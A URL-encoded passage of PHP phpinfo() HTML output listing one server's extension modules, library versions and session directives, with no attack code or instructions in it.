%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFTPS%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_gettext%22%20href%3D%22%23module_gettext%22%3Egettext%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EGetText%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_hash%22%20href%3D%22%23module_hash%22%3Ehash%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehash%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EHashing%20Engines%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Emd2%20md4%20md5%20sha1%20sha224%20sha256%20sha384%20sha512%2F224%20sha512%2F256%20sha512%20sha3-224%20sha3-256%20sha3-384%20sha3-512%20ripemd128%20ripemd160%20ripemd256%20ripemd320%20whirlpool%20tiger128%2C3%20tiger160%2C3%20tiger192%2C3%20tiger128%2C4%20tiger160%2C4%20tiger192%2C4%20snefru%20snefru256%20gost%20gost-crypto%20adler32%20crc32%20crc32b%20crc32c%20fnv132%20fnv1a32%20fnv164%20fnv1a64%20joaat%20murmur3a%20murmur3c%20murmur3f%20xxh32%20xxh64%20xxh3%20xxh128%20haval128%2C3%20haval160%2C3%20haval192%2C3%20haval224%2C3%20haval256%2C3%20haval128%2C4%20haval160%2C4%20haval192%2C4%20haval224%2C4%20haval256%2C4%20haval128%2C5%20haval160%2C5%20haval192%2C5%20haval224%2C5%20haval256%2C5%20%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMHASH%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEnabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMHASH%20API%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEmulated%20Support%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_iconv%22%20href%3D%22%23module_iconv%22%3Eiconv%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eiconv%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eiconv%20implementation%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eglibc%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eiconv%20library%20version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2.36%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eiconv.input_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eiconv.internal_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eiconv.output_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_json%22%20href%3D%22%23module_json%22%3Ejson%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ejson%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_libxml%22%20href%3D%22%23module_libxml%22%3Elibxml%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ElibXML%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eactive%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ElibXML%20Compiled%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2.9.14%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ElibXML%20Loaded%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E20914%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ElibXML%20streams%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_openssl%22%20href%3D%22%23module_openssl%22%3Eopenssl%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpenSSL%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpenSSL%20Library%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOpenSSL%203.0.13%2030%20Jan%202024%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpenSSL%20Header%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOpenSSL%203.0.13%2030%20Jan%202024%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpenssl%20default%20config%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Flib%2Fssl%2Fopenssl.cnf%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopenssl.cafile%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopenssl.capath%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_pcre%22%20href%3D%22%23module_pcre%22%3Epcre%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPCRE%20(Perl%20Compatible%20Regular%20Expressions)%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPCRE%20Library%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E10.42%202022-12-11%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPCRE%20Unicode%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E14.0.0%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPCRE%20JIT%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPCRE%20JIT%20Target%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ex86%2064bit%20(little%20endian%20%2B%20unaligned)%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Epcre.backtrack_limit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1000000%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1000000%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Epcre.jit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Epcre.recursion_limit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E100000%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E100000%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_pdo%22%20href%3D%22%23module_pdo%22%3EPDO%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EPDO%20support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPDO%20drivers%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_phar%22%20href%3D%22%23module_phar%22%3EPhar%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EPhar%3A%20PHP%20Archive%20support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPhar%20API%20version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1.1.1%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPhar-based%20phar%20archives%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ETar-based%20phar%20archives%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZIP-based%20phar%20archives%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Egzip%20compression%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ebzip2%20compression%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Edisabled%20(install%20ext%2Fbz2)%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ENative%20OpenSSL%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22v%22%3E%3Ctd%3E%0APhar%20based%20on%20pear%2FPHP_Archive%2C%20original%20concept%20by%20Davey%20Shafik.%3Cbr%20%2F%3EPhar%20fully%20realized%20by%20Gregory%20Beaver%20and%20Marcus%20Boerger.%3Cbr%20%2F%3EPortions%20of%20tar%20implementation%20Copyright%20(c)%202003-2009%20Tim%20Kientzle.%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ephar.cache_list%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ephar.readonly%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ephar.require_hash%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_posix%22%20href%3D%22%23module_posix%22%3Eposix%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPOSIX%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_random%22%20href%3D%22%23module_random%22%3Erandom%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EVersion%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8.2.20%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_readline%22%20href%3D%22%23module_readline%22%3Ereadline%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EReadline%20Support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EReadline%20library%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEditLine%20wrapper%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecli.pager%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecli.prompt%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%5Cb%26nbsp%3B%5C%26gt%3B%26nbsp%3B%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%5Cb%26nbsp%3B%5C%26gt%3B%26nbsp%3B%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_reflection%22%20href%3D%22%23module_reflection%22%3EReflection%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EReflection%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_session%22%20href%3D%22%23module_session%22%3Esession%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESession%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ERegistered%20save%20handlers%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Efiles%20user%20%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ERegistered%20serializer%20handlers%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ephp_serialize%20php%20php_binary%20%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.auto_start%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cache_expire%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E180%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E180%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cache_limiter%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Enocache%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Enocache%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cookie_domain%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cookie_httponly%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cookie_lifetime%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cookie_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2F%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2F%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cookie_samesite%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.cookie_secure%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.gc_divisor%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1000%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1000%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.gc_maxlifetime%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1440%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1440%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.gc_probability%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.lazy_write%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.name%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPHPSESSID%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPHPSESSID%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.referer_check%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.save_handler%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Efiles%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Efiles%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.save_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fvar%2Flib%2Fphp%2Fsessions%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fvar%2Flib%2Fphp%2Fsessions%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.serialize_handler%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ephp%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ephp%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.sid_bits_per_character%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E5%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E5%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.sid_length%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E26%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E26%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.upload_progress.cleanup%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.upload_progress.enabled%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.upload_progress.freq%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1%25%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1%25%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.upload_progress.min_freq%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.upload_progress.name%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPHP_SESSION_UPLOAD_PROGRESS%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EPHP_SESSION_UPLOAD_PROGRESS%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.upload_progress.prefix%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eupload_progress_%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eupload_progress_%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.use_cookies%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.use_only_cookies%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.use_strict_mode%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.use_trans_sid%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_shmop%22%20href%3D%22%23module_shmop%22%3Eshmop%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eshmop%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_sockets%22%20href%3D%22%23module_sockets%22%3Esockets%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESockets%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_sodium%22%20href%3D%22%23module_sodium%22%3Esodium%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3Esodium%20support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Elibsodium%20headers%20version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1.0.18%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Elibsodium%20library%20version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1.0.18%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_spl%22%20href%3D%22%23module_spl%22%3ESPL%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3ESPL%20support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EInterfaces%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOuterIterator%2C%20RecursiveIterator%2C%20SeekableIterator%2C%20SplObserver%2C%20SplSubject%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EClasses%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAppendIterator%2C